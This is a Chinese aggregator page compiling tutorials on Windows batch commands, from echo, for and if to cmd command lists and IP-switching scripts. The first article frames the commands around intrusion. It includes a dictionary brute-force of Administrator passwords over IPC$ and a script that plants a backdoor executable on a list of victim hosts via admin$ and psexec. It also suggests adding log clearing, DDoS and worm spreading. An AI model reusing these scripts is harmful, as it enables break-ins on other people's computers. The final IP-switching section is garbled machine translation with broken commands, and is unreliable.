windows批处理命令大全(什么是批处理 批处理命令大全介绍【详解】)

:暂无数据 2026-10-05 06:00:02 :0

windows批处理命令大全(什么是批处理 批处理命令大全介绍【详解】)

各位老铁们,大家好,今天由我来为大家分享windows批处理命令大全,以及什么是批处理 批处理命令大全介绍【详解】的相关问题知识,希望对大家有所帮助。如果可以帮助到大家,还望关注收藏下本站,您的支持是我们最大的动力,谢谢大家了哈,下面我们开始吧!

本文目录

什么是批处理 批处理命令大全介绍【详解】

***隐藏网址***
   什么是批处理?批处理命令有哪些?
  批处理
  批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理。批处理文件的扩展名为bat 。目前比较常见 的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。
命令行窗口 批处理文件图标  批处理是一种简化的脚本语言,也称作宏。它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是COMMAND. COM或者CMD.EXE)解 释运行。类似于Unix中的Shell脚本。批处理文件具有.bat或者.cmd的扩展 名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等中高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理文件,或称为批处理程序,是由一条条的DOS命令组成的普通文本文件,可以用记事本直接或用DOS命令创建,也可以用DOS下的文本器Edit.exe来。在“命令提示”下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe运行该批处理程序。一般情况下,每条命令占据一行;当然也可以将多条命令用特定符号(如:&;、&&;、|、||等)分隔后写入同一行中;还有的情况就是像if、for等较高级的命令则要占据几行、几十甚至几百行的空间。系统在解释运行批处理程序时,首先扫描整个批处理程序,然后从第一行代码开始向下逐句执行所有的命令,直至程序结尾或遇见exit命令或出错意外退出。
 批处理命令大全
  1.Echo 命令
  打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
  语法
  echo
  Sample:echo off / echo hello world
  在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
 2.@ 命令
  表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
  Sample:@echo off
  @echo Now initializing the program,please wait a minite...
  @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
  指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
  语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
  Sample:
  if {%1}=={} goto noparms
  if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
  @Rem check parameters if null show usage
  :noparms
  echo Usage: monitor.bat ServerIP PortNumber
  goto end
  标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
 4.Rem 命令
  注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
  Rem Message
  Sample:@Rem Here is the description.
 5.Pause 命令
  运行 Pause 命令时,将显示下面的消息:
  Press any key to continue . . .
  Sample:
  @echo off
  :begin
  copy a:*.* d:\back
  echo Please put a new disk into driver A
  pause
  goto begin
  在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
 6.Call 命令
  从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
  语法
  call
  参数
   FileName
  指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
 7.start 命令
  调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
  入侵常用参数:
  MIN 开始时窗口最小化
  SEPARATE 在分开的空间内开始 16 位 Windows 程序
  HIGH 在 HIGH 优先级类别开始应用程序
  REALTIME 在 REALTIME 优先级类别开始应用程序
  WAIT 启动应用程序并等候它结束
  parameters 这些为传送到命令/程序的参数
  执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
  choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
  如: choice /c:dme defrag,mem,end
  将显示
  defrag,mem,end?
  Sample:
  Sample.bat的内容如下:
  @echo off
  choice /c:dme defrag,mem,end
  if errorlevel 3 goto defrag (应先判断数值最高的错误码)
  if errorlevel 2 goto mem
  if errotlevel 1 goto end
  :defrag
  c:\dos\defrag
  goto end
  :mem
  mem
  goto end
  :end
  echo good bye
  此文件运行后,将显示 defrag,mem,end? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
 1、if "参数" == "字符串" 待执行的命令
  参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
  如if "%1"=="a" format a:
  if {%1}=={} goto noparms
  if {%2}=={} goto noparms
 2、if exist 文件名 待执行的命令
  如果有指定的文件,则条件成立,运行命令,否则运行下一句。
  如if exist config.sys edit config.sys
 3、if errorlevel / if not errorlevel 数字 待执行的命令
  如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
  如if errorlevel 2 goto x2
  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
  for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
  for {%variable|%%variable} in (set) do command
  %variable 指定一个单一字母可替换的参数。
  (set) 指定一个或一组文件。可以使用通配符。
  command 指定对每个文件执行的命令。
  command-parameters 为特定命令指定参数或命令行开关。
  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
  而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
  如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
  FOR /D %variable IN (set) DO command
  如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
  FOR /R %variable IN (set) DO command [command-
  检查以 path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
  FOR /L %variable IN (start,step,end) DO command [command-para
  该集表示以增量形式从开始到结束的一个数字序列。
  因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
  FOR /F %variable IN (file-set) DO command
  FOR /F %variable IN ("string") DO command
  FOR /F %variable IN (command) DO command
  或者,如果有 usebackq 选项:
  FOR /F %variable IN (file-set) DO command
  FOR /F %variable IN ("string") DO command
  FOR /F %variable IN (command) DO command
  filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。
 这些关键字为:
  eol=c - 指一个行注释字符的结尾(就一个)
  skip=n - 指在文件开始时忽略的行数。
  delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
  tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
  usebackq - 指定新语法已在下类情况中使用:
  在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:
  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
  会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
  %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
  您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
  最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
  会枚举当前环境中的环境变量名称。
  另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
  ~I - 删除任何引号("),扩充 %I
  %~fI - 将 %I 扩充到一个完全合格的路径名
  %~dI - 仅将 %I 扩充到一个驱动器号
  %~pI - 仅将 %I 扩充到一个路径
  %~nI - 仅将 %I 扩充到一个文件名
  %~xI - 仅将 %I 扩充到一个文件扩展名
  %~sI - 扩充的路径只含有短名
  %~aI - 将 %I 扩充到文件的文件属性
  %~tI - 将 %I 扩充到文件的日期/时间
  %~zI - 将 %I 扩充到文件的大小
  %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:
  %~dpI - 仅将 %I 扩充到一个驱动器号和路径
  %~nxI - 仅将 %I 扩充到一个文件名和扩展名
  %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
  %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
  %~ftzaI - 将 %I 扩充到类似输出线路的 DIR
  在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
  以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
 sample2:
  利用For命令来实现对一台目标Win2k主机的暴力密码破解。
  我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
  最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
  用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
  for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成"》》D:\ok.txt ,这样就ko了。
sample3:
  你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
  主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
  tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
  而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
  delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
  --------------- cut here then save as a batchfile(I call it main.bat ) --------------------
  @echo off
  @if "%1"=="" goto usage
  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
  @goto end
  :usage
  @echo run this batch in dos modle.or just double-click it.
  :end
  --------------- cut here then save as a batchfile(I call it main.bat ) --------------------
  ------------------- cut here then save as a batchfile(I call it door.bat) -----------------
  @net use \\%1\ipc$ %3 /u:"%2"
  @if errorlevel 1 goto failed
  @echo Trying to establish the IPC$ connection …………OK
  @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 》》ko.txt
  @p***ec \\%1 c:\winnt\system32\windrv32.exe
  @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored 》》ko.txt
  :failed
  @echo Sorry can not connected to the victim.
  ----------------- cut here then save as a batchfile(I call it door.bat) -------------------
  这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
  尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
***隐藏网址***

windows 列出所有磁盘cmd命令是什么

windows 列出所有磁盘cmd命令如下所示。

1:DATE 显示或设置日期,DEL 删除至少一个文件,DIR 显示一个目录中的文件和子目录。 

2:DISKCOMP 比较两个软盘的内容,DISKCOPY 将一个软盘的内容复制到另一个软盘,DOSKEY 命令行、调用 Windows 命令并创建宏,ECHO 显示消息,或将命令回显打开或关上。 

3: ENDLOCAL 结束批文件中环境更改的本地, ERASE 删除至少一个文件。  EXIT 退出 CMD.EXE ,  FC 比较两个或两套文件,并显示  不同处。  FIND 在文件中搜索文字字符串。 

4:FINDSTR 在文件中搜索字符串。  FOR 为一套文件中的每个文件运行一个指定的命令。  FORMAT 格式化磁盘,以便跟 Windows 使用。  FTYPE 显示或修改用于文件扩展名关联的文件类型。  GOTO 将 Windows 命令解释程序指向批处理程序  中某个标明的行。

5:GRAFTABL 启用 Windows 来以图像模式显示  扩展字符集,HELP 提供 Windows 命令的帮助信息,IF 执行批处理程序中的条件性处,LABEL 创建、更改或删除磁盘的卷标。

window 命令bat语法

命令帮助语法
命令 /?
1、 @ 行首有了它的话,这一行的命令就不显示了。
@字符放在命令前将关闭该命令回显,无论此时echo是否为打开状态
2、 echo 输出的意思
3、on | off 开关的意思

》 输出重定向,创建或清空文件,然后把数据输出到文件,类似linux shell的标准输出
》》 把数据追加到文件,类似linux shell的标准输出
4、注释, :: 或 rem
5、跳转到标签,":"和 goto
6、定义一个标签, :
7 、pause 运行命令时不关闭窗口
8、Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用
语法

参数

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
9、start,调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用
打开D盘

10、choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
11、 %x 参数
%1 -- 第1个参数
%2 -- 第2个参数
%3 -- 第3个参数
11、errorlevel程序返回码

每个命令运行结束,可以用这个命令行格式查看返回码
用于判断刚才的命令是否执行成功
默认值为0,一般命令执行出错会设 errorlevel 为1
12、title设置cmd窗口的标题
13、find在文件中搜索字符串。
FIND
/V 显示所有未包含指定字符串的行。
/C 仅显示包含字符串的行数。
/N 显示行号。
/I 搜索字符串时忽略大小写。
/OFF 不要跳过具有脱机属性集的文件。
"string" 指定要搜索的文字串,
filename
指定要搜索的文件。
如果没有指定路径,FIND 将搜索键入的或者由另一命令产生的文字。
Find常和type命令结合使用
Type #挑选包含string的行
Type filename | find /v "string" #剔除文件中包含string的行
Type filename | find /c #显示文件行数
以上用法将去除find命令自带的提示语(文件名提示)
14、pushd 和 popd切换当前目录

其他看这个文章
***隐藏网址***

1.常用命令举例

a.创建文件夹: md D:\mybat //将在D盘下创建一个名为 mybat的文件夹

b.删除文件夹: rd D:\mybat //将删除D盘中的mybat文件夹删除
c.删除文件夹中的文件: del D:\mybat\sheepmu.txt //删除文件sheepmu.txt
del D:\mybat\sheepmu.txt /q //安静模式删除,即删除时不弹出是否删除的提示框
d.复制文件 : xcopy D:\mybat\sheepmu.txt D:\mybat1 //若D中无mybat1这个文件夹则会创建文件夹再复制
e.向文件中写入内容: echo sheepmu 》》 D:\mybat\sheepmu.txt //如果这个文件不存在就创建文件并输入。如果是文件 夹不存在就不会成功! 》》与》的区别是》是覆盖掉原来 的;》》是直接输入到原来的尾部

f.显示文件中内容: type D:\mybat\sheepmu.txt

g.更改文件名后缀: ren D:\mybat*.txt *.html

2.批处理小例子

a.检查是否中冰河

@echo off

netstat -a -n 》 D:\mybat\sheepmu.txt

type D:\mybat\sheepmu.txt | find "7626" && echo 遭了,中了!

pause & exit
解析:

第一行:echo off 表示关闭显示,@表示不显示 echo off本身

第二行:netstat 显示协议及当前tcp/ip连接, -a表示显示所有连接和侦听端口;-n表示以数字的形式显示地址和;并把这些信息写入到文件D:\mybat\sheepmu.txt中。

第三行: type 表示显示文件D:\mybat\sheepmu.txt中内容;

第四行: & 表示且,即暂停且退出。

b.清理系统垃圾

@echo off

if exist C:\windows\temp*.* del C:\windows\temp*.*

if exist C:\windows\History*.* del C:\windows\History*.*

if exist C:\windows\recent*.* del C:\windows\recent*.*

exist

解析:如果存在该文件就删除该文件。注意:删除文件夹用 rd ;删除文件用 del

3.注意事项

a.批处理脚本编写时最好的老师就是小黑老师啦,打开命令行窗口,输入命令加上/?就会有详细的说明,比如: netstat /?

b.pause 命令可以方便我们查看命令执行到了那一步,因为在bat脚本运行时若出现脚本错误窗口会一闪而过。

c.批处理执行过程中可以按 Ctrl+C退出,这对于出现死循环时非常有用。

cmd是什么 cmd命令大全

cmd.exe是微软Windows系统基于WINDOWS上的命令解释程序,类似于微软的DOS操作系统。cmd.exe是一个32位的命令行程序,运行在Windows NT/2000/XP/2003/vista/win7上。这不是纯粹的系统程序,但是如果删除它,可能会导致不可知的问题

有关某个命令的详细信息,请键入 HELP 命令名

ASSOC 显示或修改文件扩展名关联。

AT 计划在计算机上运行的命令和程序。

ATTRIB 显示或更改文件属性。

BREAK 设置或清除扩展式 CTRL+C 检查。

CACLS 显示或修改文件的访问控制列表(ACLs)。

CALL 从另一个批处理程序调用这一个。

CD 显示当前目录的名称或将其更改。

CHCP 显示或设置活动代码页数。

CHDIR 显示当前目录的名称或将其更改。

CHKDSK 检查磁盘并显示状态报告。

CHKNTFS 显示或修改启动时间磁盘检查。

CLS 清除屏幕。

CMD 打开另一个 Windows 命令解释程序窗口。

COLOR 设置默认控制台前景和背景颜色。

COMP 比较两个或两套文件的内容。

COMPACT 显示或更改 NTFS 分区上文件的压缩。

CONVERT 将 FAT 卷转换成 NTFS。您不能转换

当前驱动器。

COPY 将至少一个文件复制到另一个位置。

DATE 显示或设置日期。

DEL 删除至少一个文件。

DIR 显示一个目录中的文件和子目录。

DISKCOMP 比较两个软盘的内容。

DISKCOPY 将一个软盘的内容复制到另一个软盘。

DOSKEY 命令行、调用 Windows 命令并创建宏。

ECHO 显示消息,或将命令回显打开或关上。

ENDLOCAL 结束批文件中环境更改的本地化。

ERASE 删除至少一个文件。

EXIT 退出 CMD.EXE 程序(命令解释程序)。

FC 比较两个或两套文件,并显示

不同处。

FIND 在文件中搜索文字字符串。

FINDSTR 在文件中搜索字符串。

FOR 为一套文件中的每个文件运行一个指定的命令。

FORMAT 格式化磁盘,以便跟 Windows 使用。

FTYPE 显示或修改用于文件扩展名关联的文件类型。

GOTO 将 Windows 命令解释程序指向批处理程序

中某个标明的行。

GRAFTABL 启用 Windows 来以图像模式显示

扩展字符集。

HELP 提供 Windows 命令的帮助信息。

IF 执行批处理程序中的条件性处理。

LABEL 创建、更改或删除磁盘的卷标。

MD 创建目录。

MKDIR 创建目录。

MODE 配置系统设备。

MORE 一次显示一个结果屏幕。

MOVE 将文件从一个目录移到另一个目录。

PATH 显示或设置可执行文件的搜索路径。

PAUSE 暂停批文件的处理并显示消息。

POPD 还原 PUSHD 保存的当前目录的上一个值。

PRINT 打印文本文件。

PROMPT 更改 Windows 命令提示符。

PUSHD 保存当前目录,然后对其进行更改。

RD 删除目录。

RECOVER 从有问题的磁盘恢复可读信息。

REM 记录批文件或 CONFIG.SYS 中的注释。

REN 重命名文件。

RENAME 重命名文件。

REPLACE 替换文件。

RMDIR 删除目录。

SET 显示、设置或删除 Windows 环境变量。

SETLOCAL 开始批文件中环境更改的本地化。

SHIFT 更换批文件中可替换参数的位置。

SORT 对输入进行分类。

START 启动另一个窗口来运行指定的程序或命令。

SUBST 将路径跟一个驱动器号关联。

TIME 显示或设置系统时间。

TITLE 设置 CMD.EXE 会话的窗口标题。

TREE 以图形模式显示驱动器或路径的目录结构。

TYPE 显示文本文件的内容。

VER 显示 Windows 版本。

VERIFY 告诉 Windows 是否验证文件是否已正确

写入磁盘。

VOL 显示磁盘卷标和序列号。

XCOPY 复制文件和目录树。

appwiz.cpl------------添加删除程序

control userpasswords2--------用户帐户设置

cleanmgr-------垃圾整理

CMD--------------命令提示符可以当作是 Windows 的一个附件,Ping,Convert 这些不能在图形环境下 使用的功能要借助它来完成。

cmd------jview察看Java虚拟机版本。

command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。

calc-----------启动计算器

chkdsk.exe-----Chkdsk磁盘检查

compmgmt.msc---计算机管理

conf-----------启动 netmeeting

control userpasswords2-----User Account 权限设置

devmgmt.msc--- 设备管理器

diskmgmt.msc---磁盘管理实用程序

dfrg.msc-------磁盘碎片整理程序

drwtsn32------ 系统医生

dvdplay--------启动Media Player

dxdiag-----------DirectX Diagnostic Tool

gpedit.msc-------组策略器

gpupdate /target:computer /force 强制刷新组策略

eventvwr.exe-----事件查看器

explorer-------打开资源管理器

logoff---------注销命令

lusrmgr.msc----本机用户和组

msinfo32---------系统信息

msconfig---------系统配置实用程序

net start (servicename)----启动该服务

net stop (servicename)-----停止该服务

notepad--------打开记事本

nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板

Nslookup-------IP地址侦测器

oobe/msoobe /a----检查XP是否激活

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit----------注册表器

regedt32-------注册表器

regsvr32 /u *.dll----停止dll文件运行

route print------查看路由表

rononce -p ----15秒关机

rsop.msc-------组策略结果集

rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows 图片和传真查看器

secpol.msc--------本地安全策略

services.msc---本地服务设置

sfc /scannow-----启动系统文件检查器

sndrec32-------录音机

taskmgr-----任务管理器(适用于2000/xp/2003)

tsshutdn-------60秒倒计时关机命令

winchat--------XP自带局域网聊天

winmsd---------系统信息

winver-----显示About Windows 窗口

wupdmgr-----------Windows Update

Win10如何以管理员身份运行cmd

Win10如何以管理员身份运行cmd?以下是三种方法。
方法一
打开C:\Windows\System32目录,找到cmd.exe,单击选中后右键,菜单中选择“以管理员身份运行”。
方法二
1、点开开始菜单,在搜索框中输入“cmd”,在搜索结果中,对着命令提示符程序,单击鼠标右键,菜单中点击选择“以管理员身份运行”。
2、点开开始菜单,再点击所有应用(程序),在Windows系统(Win7时附件中),找到并右键单击,菜单中选择“以管理员身份运行”。
方法三
按下Win+C组合键,点击出现的Charm栏中的搜索,在搜索界面,输入框中输入“cmd”,在出现的相关选项中,右击“命令提示符”,菜单中选择“以管理员身份运行”。

Windows批处理命令和使用教程(几个简单的Bat批处理)


什么?你还是不要 我不知道如何检查你电脑的IP地址?唐 不知道如何一键修改IP?我不 不知道为什么QQ和微信可以用网页却可以 不能正常睁开眼睛?
然后往下看,那里 它总是你需要的东西。
如何使用批处理:复制批处理命令,粘贴到新建的记事本文档中,选择另存为,保存类型选择所有文件。文件名可以随意命名,但结尾的后缀必须是。bat,不区分大小写。如果里面有汉字,有乱码,需要同时保存为ANSI。有些运行时需要更大的权限,所以您需要右键单击并选择以管理员身份运行。
快速查看本机IP地址和电脑名
@ echo off echo local ipip config
获取局域网内本机IP:
@ echooff for/f okens=4 # 039% % a in做回声。回声 的当前登录帐户是:% username % pause nul
简单查看电脑IP地址的批处理命令:
@ echooffipconfig/all pause
电脑快速切换/修改IP地址
提示:运行WIN R并输入命令ncpa.cpl以快速打开 quot网络连接面板,方便查看任何网卡。
有这样的场景,我需要用自己的电脑测试,即通过DHCP获取IP,手动固定IP。它 手动来回配置很麻烦,而且 经常需要这样切换,这需要创建两个BAT批处理文件。在使用它们的时候,我可以直接运行click switch。
PS:文中的网卡名称【本地连接】只是一个例子。实际上,你需要根据ncpa.cpl命令找出使用哪个网卡来替换它。
DHCP自动获取IP,你可以新建一个记事本,复制粘贴保存为IP-dhcp.bat: netsh接口IP设置地址 quot本地连接source=dhcp
Netsh接口IP集dns quot本地连接source=dhcppause固定IP,IP,网关,DNS根据实际情况填写。可以新建一个记事本,保存为IP-set . bat:netsh interface IP set address 本地连接 静态10.0.0.123 255.255.255.0网关=10.0.0.1 netsh接口IP设置DNS # 039本地连接 静态的。Addr=225.5.5.5 netsh接口IP添加DNS # 039本地连接 addr=114.114.114.114 pause
自动设置计算机多IP地址的批处理
如果一台电脑有多个网卡或者频繁切换IP,使用多批不方便。可以集成到一个批处理文件中,直接选择。
数量、配置等。可以根据实际情况添加、删除和修改网卡,实现一键切换IP。
注:请根据实际情况修改网卡名称、IP等信息。在某些情况下,网关也可以被删除和不配置。本文中无线网卡的名称是WLAN,本地连接的名称是local connection。
@ echo。@ echo * * * * * * * * * * * * * * * * * * * * @ echo * *该命令用于自动设置无线网络和本地连接的IP地址* @ echo * * * * echo * 1-设置无线网络地址。对于公司互联网访问@ echo @ echo2-设置自动获取的无线网络地址用于外部互联网访问@ echo @ echo3-将本地连接地址设置为192.168.2.220用于网络电缆连接@ echo4-设置自动获取的本地连接地址,用于外部互联网访问@ echoechoe @ echoee。@ echo。@ echo。* * * *请选择设置方法[1,2,3,并按回车键确认* * * * * @ echo的执行。@ echo。@ echo。@ set/p ST= 选择: 回声。if/I % st % # 039==#039;1#039;转到setip 1 if/I % st % # 039==#039;2#039;转到设置。我 % ST % # 039==#039;3#039;转到setip 2 if/I % st % # 039=#039;4#039;gotoset ip2no: setip1cls @ echo。@ echo - Net: 255.255.255.0@echo网关:192.168.2.1@echo。@echo首选DNS:223.5.5.5@echo备用DNS: 114.114.114 @ echo -。周。@ echo。@ echo。@ pause @ echo设置IP地址.@ echo off netsh接口IP设置地址name= # 039无线局域网 ource=static addr=192 . 168 . 2 . 188 mask=255 . 255 . 255 . 0 gat . Eway=192 . 168 . 2 . 11 @ echo设置第一个DNS.@echo offnetsh接口IP设置DNS名称= 无线局域网 ource=static addr=223.5.5.5 @ echo设置备用DNS.@ echo off netsh接口添加DNS # 039无线局域网 114.114.114.114指数=2 @回波设置完成。@ pause exit: setip1nocls @echo。@echo - @echo该命令会自动为 quotWLAN quot:- @ echo。@ echo。@ echo。@暂停@回应。@ echo off @ echo设置为自动获取IP地址.netsh接口Hcp@echo设置自动获取DNS服务器地址.netsh接口IP集DNS名称= 无线局域网 ource=DHCP @ echo。@ echo设置完成。@暂停退出:setip2cls @ echo。@ echo - 0@echo网关:192.168.2.1@echo。@echo自动获取DNS服务器地址@ Echo -设置CHO的IP地址.netsh接口IP集地址名称= 本地连接 ource=static addr=192 . 168 . 2 . 220 mask=255 . 255 . 0 gateway=192 . 168 . 2 . 11 @ echo自动设置DNS服务器地址.net sh接口IP设置DNS名称= 本地连接 ource=dhcp@echo设置完成@echo。@ pause exit: set ip2nocls @ echo。@ echo -。对于 quot本地连接:@echo。@echo自动获取IP地址@echo自动获取DNS服务器地址@ echo - Ho设置自动获取IP地址.netsh接口IP集地址名称= 本地连接 ource=dhcp@echo设置自动获取DNS服务器地址.netsh接口IP集DNS名称= 本地连接 ource=dhcp@echo。@echo设置完成。@ pauseexit启动界面效果图示例:
王者之心2点击试玩

Windows中的批处理的常用符号介绍

1.@ 命令行回显屏蔽符
ECHO OFF可以关闭掉整个批处理命令的回显,但不能关掉ECHO OFF这个命令本身,现在我们在ECHO OFF这个命令前加个@,就可以达到所有命令均不回显的要求。
     该符号在批处理中的作用是关闭当前行命令的回显,也就是不显示执行的是什么命令,只显示命令的结果!
     2. 重定向符        将之前的命令执行的结果输出到之后指定的设备或文件中去,特定的文件或标准输出(stdout--默认为系统控制台),若文件中有数据则覆盖。
      重定向符   
   需要显示的数据追加到指定的输出文件之中,而不覆盖原来的内容。
      输入重定向
   将输入信息来源重定向为指定的设备或文件,系统默认接收键盘输入。
     将一个句柄的输出写入到另一个句柄的输入中
     刚好和相反,从一个句柄读取输入并将其写入到另一个句柄输出中
   常用句柄0、1、2,未定义句柄3-9
   其中的1与2都是代表某个数据流输入输出的地址(NT CMD 称之为句柄,MSDOS称之为设备)。
     句柄0:标准输入stdin,键盘输入
     句柄1:标准输出stdout,输出到命令提示符窗口(console,代码为CON)
